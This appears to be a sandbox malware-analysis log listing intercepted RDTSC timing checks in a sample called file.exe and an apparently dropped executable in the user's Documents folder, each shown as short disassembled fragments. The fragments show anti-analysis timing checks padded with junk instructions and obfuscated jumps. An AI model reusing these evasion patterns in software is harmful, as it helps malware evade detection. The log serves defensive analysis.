Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E209F5 second address: 4E20A29 instructions: 0x00000000 rdtsc 0x00000002 mov bx, 92DAh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007FEA38E8CA3Bh 0x0000000d jmp 00007FEA38E8CA48h 0x00000012 pop esi 0x00000013 popad 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20A29 second address: 4E20A2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20A2D second address: 4E20A33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20A33 second address: 4E20AE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 32A042B6h 0x00000008 pushfd 0x00000009 jmp 00007FEA38C22207h 0x0000000e adc esi, 69D51B3Eh 0x00000014 jmp 00007FEA38C22209h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d pop edi 0x0000001e pushad 0x0000001f pushad 0x00000020 call 00007FEA38C221FAh 0x00000025 pop ecx 0x00000026 pushfd 0x00000027 jmp 00007FEA38C221FBh 0x0000002c jmp 00007FEA38C22203h 0x00000031 popfd 0x00000032 popad 0x00000033 pushfd 0x00000034 jmp 00007FEA38C22208h 0x00000039 sub esi, 3A9531C8h 0x0000003f jmp 00007FEA38C221FBh 0x00000044 popfd 0x00000045 popad 0x00000046 pop esi 0x00000047 pushad 0x00000048 mov ebx, eax 0x0000004a mov bx, si 0x0000004d popad 0x0000004e pop ebx 0x0000004f push eax 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 pushad 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20AE0 second address: 4E20AE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20AE4 second address: 4E20AEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20AEA second address: 4E20B08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38E8CA3Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov edx, 09F45970h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20B08 second address: 4E20B0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20B0E second address: 4E20B12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20B12 second address: 4E2050E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0008h 0x0000000b cmp dword ptr [ebp-2Ch], 10h 0x0000000f mov eax, dword ptr [ebp-40h] 0x00000012 jnc 00007FEA38C221F5h 0x00000014 push eax 0x00000015 lea edx, dword ptr [ebp-00000590h] 0x0000001b push edx 0x0000001c call esi 0x0000001e push 00000008h 0x00000020 jmp 00007FEA38C221FCh 0x00000025 call 00007FEA38C221F9h 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FEA38C22207h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20C19 second address: 4E20C1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20C1E second address: 4E20C2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx edx, si 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20C2F second address: 4E20C33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20C33 second address: 4E20C4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38C22205h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20C4C second address: 4E20C52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1023777 second address: 102377B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 102377B second address: 102378B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 102378B second address: 10237A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38C221FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007FEA38C221FEh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 10237A7 second address: 10237AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1022907 second address: 102291C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FEA38C221F6h 0x0000000a jmp 00007FEA38C221FBh 0x0000000f rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 102291C second address: 1022920 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1022A6F second address: 1022A8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEA38C221FEh 0x00000009 jmp 00007FEA38C221FDh 0x0000000e rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1022A8E second address: 1022A94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1022EC1 second address: 1022EC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1022EC7 second address: 1022ED2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1022ED2 second address: 1022ED7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1022ED7 second address: 1022EDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1022EDC second address: 1022EE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 102515B second address: 1025177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007FEA38E8CA3Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1025177 second address: 102517C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 102517C second address: 1025182 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 10252C3 second address: 10252FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38C221FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007FEA38C22208h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 popad 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d push eax 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 10252FF second address: 1025348 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEA38E8CA42h 0x00000009 popad 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d jmp 00007FEA38E8CA41h 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FEA38E8CA48h 0x0000001d rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1025348 second address: 10253B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007FEA38C221F8h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 mov dword ptr [ebp+122D1B16h], edx 0x0000002b movzx edi, ax 0x0000002e push 00000003h 0x00000030 mov dword ptr [ebp+122D1C4Fh], edi 0x00000036 mov esi, 1448DEB7h 0x0000003b push 00000000h 0x0000003d mov cx, di 0x00000040 push 00000003h 0x00000042 mov edi, dword ptr [ebp+122D3830h] 0x00000048 call 00007FEA38C221F9h 0x0000004d jns 00007FEA38C22200h 0x00000053 push eax 0x00000054 pushad 0x00000055 push edi 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 10253B2 second address: 10253BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007FEA38E8CA36h 0x0000000d rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 10253BF second address: 10253D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007FEA38C221F6h 0x00000014 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 10253D3 second address: 10253E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov eax, dword ptr [eax] 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 10253E1 second address: 10253E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 10253E5 second address: 102543D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEA38E8CA36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 jo 00007FEA38E8CA47h 0x00000016 jmp 00007FEA38E8CA41h 0x0000001b pop eax 0x0000001c pop eax 0x0000001d push edi 0x0000001e clc 0x0000001f pop ecx 0x00000020 lea ebx, dword ptr [ebp+1244A055h] 0x00000026 add edx, 01B47B4Ah 0x0000002c xchg eax, ebx 0x0000002d pushad 0x0000002e push ecx 0x0000002f pushad 0x00000030 popad 0x00000031 pop ecx 0x00000032 jmp 00007FEA38E8CA42h 0x00000037 popad 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 102543D second address: 1025447 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FEA38C221F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1025447 second address: 1025460 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEA38E8CA45h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1025460 second address: 1025464 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1025591 second address: 1025596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1044782 second address: 1044790 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1044790 second address: 104479A instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEA38E8CA42h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 10449EB second address: 1044A15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEA38C22207h 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007FEA38C221F6h 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1044B8C second address: 1044B92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1044B92 second address: 1044B96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1044CDD second address: 1044CE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1044CE1 second address: 1044D00 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FEA38C22200h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c je 00007FEA38C221F6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1044EBF second address: 1044EC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1044EC6 second address: 1044ECB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1044FFA second address: 1044FFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1044FFE second address: 1045013 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jng 00007FEA38C221F6h 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 10452E9 second address: 10452EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 10452EF second address: 10452F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 104546C second address: 1045481 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 je 00007FEA38E8CA36h 0x00000009 pushad 0x0000000a popad 0x0000000b pop ecx 0x0000000c pushad 0x0000000d jbe 00007FEA38E8CA36h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1045744 second address: 104576A instructions: 0x00000000 rdtsc 0x00000002 jno 00007FEA38C22210h 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1038F3B second address: 1038F54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38E8CA45h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1045F16 second address: 1045F1B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 10461B5 second address: 10461BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 10461BB second address: 10461BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 104BA2B second address: 104BA72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38E8CA3Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jng 00007FEA38E8CA36h 0x00000014 popad 0x00000015 jmp 00007FEA38E8CA40h 0x0000001a jns 00007FEA38E8CA3Ch 0x00000020 je 00007FEA38E8CA36h 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b push edi 0x0000002c pop edi 0x0000002d jne 00007FEA38E8CA36h 0x00000033 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 104BA72 second address: 104BA78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 104BA78 second address: 104BAAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FEA38E8CA41h 0x0000000c jmp 00007FEA38E8CA49h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 104BAAA second address: 104BAB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 104BAB2 second address: 104BAB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 104EE10 second address: 104EE14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 104EE14 second address: 104EE46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38E8CA3Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FEA38E8CA43h 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 je 00007FEA38E8CA38h 0x00000018 push eax 0x00000019 pop eax 0x0000001a rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 104EE46 second address: 104EE67 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FEA38C22200h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jc 00007FEA38C221F6h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 104EE67 second address: 104EE7A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c jg 00007FEA38E8CA36h 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 104EE7A second address: 104EE80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 104EE80 second address: 104EE84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 104D69A second address: 104D6A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 104D6A0 second address: 104D6BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007FEA38E8CA3Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 104D6BA second address: 104D6BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1052360 second address: 105237F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jnl 00007FEA38E8CA36h 0x0000000e jnp 00007FEA38E8CA36h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jnc 00007FEA38E8CA36h 0x0000001f rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 105237F second address: 105239D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FEA38C22202h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1051AAC second address: 1051AB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1051AB2 second address: 1051AB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1051EA4 second address: 1051EAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1051EAA second address: 1051EB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1051EB2 second address: 1051EBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1051EBD second address: 1051EC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1051EC1 second address: 1051ECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FEA38E8CA36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
